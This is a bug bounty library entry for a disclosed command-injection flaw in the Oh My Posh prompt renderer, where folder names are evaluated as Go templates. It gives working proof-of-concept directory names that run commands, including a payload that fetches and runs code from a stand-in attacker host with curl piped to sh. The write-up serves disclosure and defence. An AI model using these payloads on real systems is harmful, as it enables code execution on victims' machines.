# Oh My Posh: Arbitrary command execution via template injection in the path segment

Oh My Posh re-renders filesystem folder names through Go text/template with a cmd function, so a directory named with template syntax executes commands when the prompt renders.

- Payout: Research
- Severity: high
- Program: Oh My Posh
- Found by: ihopenre-eng
- Disclosed: 2026-07-24
- CVE: CVE-2026-73505
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6xj8-qv9j-xcjq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6xj8-qv9j-xcjq
- Tags: area:os domain:desktop impact:rce kind:research platform:ghsa sev:high tech:go technique:second-order technique:source-review vuln:command-injection vuln:rce

**Target:** CLI prompt renderer path segment (Go text/template)
**Root cause:** setStyle() passes the composed path string, built from raw untrusted folder names, back into template.Render with the full function map including cmd(), so folder names are evaluated as templates.
**Steps:**
1. Create config with a path segment using `"template":"{{ .Path }}"` and style full.
2. Run `oh-my-posh print primary --config p.json --shell fish --pwd '/home/v/{{ cmd `whoami` }}'`.
3. Observe the prompt shows the whoami output, proving evaluation.
4. For file write: `--pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'` with RCE_OUT set, then read the file.
**How found:** Code reading of setStyle() noticed the resolved path string is re-parsed as a template after untrusted folder names were inserted, and the function map exposes cmd().
**Exploitation:** Attacker ships a directory (repo subdir, archive, share, removable drive) whose name contains a template expression; when the victim cd's into it or any descendant and the prompt renders, cmd() executes as the victim user. Slash-free payloads like `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` bypass the path-separator restriction.
**Insight:** When a renderer composes output from untrusted filesystem names and then re-parses the whole string as a template, the second evaluation is the bug; check every 'resolve templates' pass that runs after interpolation of external data, and audit the function map for cmd/readFile/stat/glob.

## Proof of concept (copied exactly from the original report)

**oh-my-posh print with template-injected --pwd**

```
$ oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username>        # whoami executed, output substituted
```

**Slash-free file-write payload via powershell**

```
$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d
```

